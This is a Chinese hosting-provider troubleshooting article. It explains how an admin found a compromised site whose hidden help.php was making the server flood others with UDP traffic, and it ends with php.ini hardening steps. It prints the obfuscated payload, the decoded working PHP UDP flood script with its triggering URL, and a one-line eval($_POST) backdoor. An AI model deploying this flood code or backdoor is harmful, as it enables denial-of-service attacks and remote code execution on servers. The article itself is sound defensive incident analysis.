帮助中心 >  技术知识库 >  云服务器 >  服务器教程 >  w3wp.exe上传流量高发送udp包的解决办法

w3wp.exe上传流量高发送udp包的解决办法

2017-05-03 23:56:42 7129

近来有一两台服务器网络常出现问题,甚至断网,PING直接大量掉包。重启后正常。

后经查,带宽占用过高,出现问题时带宽占用百分之一百。初步估计是有攻击了,使用监控观察,有少量UDP攻击(据经验如此量的UDP是不会占用一百M的,也十分疑惑)。启动攻击防御措施,但无济于事。后查看单个网站带宽,也没有异常。

查看带宽进出的吞吐量,当带宽占用过高的时候,是发送字节吞吐量占用百分之一百。而接收几乎为零。这不像是DDOS攻击,不排除会有“下载攻击”。搜索大型压缩文件、视频文件、应用程序并禁止下载。还是会出现类似的情况。

后装入DU METER和某一个带有流量监控功能的软件。等待“攻击”再次到来。“攻击”过后登陆后查看,确实是长时间占用了大量带宽。查看是W3WP.EXE发送的流量比较多。达数十G之巨。记录每一个W3WP.EXE进程的PID并使用IISAPP查看对应的程序池。结束发送流量最大的W3WP.EXE,再查看少了哪一个W3WP.EXE对应的程序池。跟着把当前程序池下所有的网站分池。设置每一个网站单独一个程序池。再一次等待“攻击”。等新的“攻击”来后,再使用上面的方法查到是某一个程序池,这样就查到了出问题的站点。仔细检查后,网站内除了HTM文件、部分图片和一个PHP文件外,仅有一个目录里含有ASP文件。直接停止含ASP文件的目录读取权限。问题还是存在,所以把目光盯到PHP文件上。查看IIS日志后看到有这么一行日志2010-09-05 13:21:25 W3SVC83 60.191.XXX.XXX GET /help.php ip=222.87.129.XXX&port=80&time=7200 80 - 122.225.115.XXX Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 401 5 5 1726 410。 问题就已经很清楚了。在浏览器里面输入WWW.域名.COM/help.php ip=222.87.129.XXX&port=80&time=7200服务器带宽占用立马涨为百分之一百。

查到问题所在,分析PHP文件。

源文件:

<?php eval(gzinflate(base64_decode('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));

解密后:

<?php

 

$packets = 0;

$ip = $_GET['ip'];

$rand = $_GET['port'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();

print 'Flooded: $ip on port $rand <br><br>';

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

        $out .= 'X';

}

while(1){

$packets++;

        if(time() > $max_time){

                break;

        }

        

        $fp = fsockopen('udp://$ip', $rand, $errno, $errstr, 5);

        if($fp){

                fwrite($fp, $out);

                fclose($fp);

        }

}

echo 'Packet complete at '.time('h:i:s').' with $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '. round($packets/$exec_time, 2) . ' packets/s n';

?>

<?php eval($_POST[ddos])?>

有了代码,那工作原理也就很清楚了。

整体来说,不是受攻击了。而是攻击别人了。

解决办法:

不允许PHP使用网络,把php.ini里的allow_url_fopen 值改为allow_url_fopen = Off

如果不行

;extension=php_sockets.dll (限制使用sockets.dll)

;ignore_user_abort = On 

这两项前加上分号。

但默认这两项就是这样设置的。防止某些同志手动打开了的。

然后重启IIS。


提交成功!非常感谢您的反馈,我们会继续努力做到更好!

这条文档是否有帮助解决问题?

非常抱歉未能帮助到您。为了给您提供更好的服务,我们很需要您进一步的反馈信息:

在文档使用中是否遇到以下问题: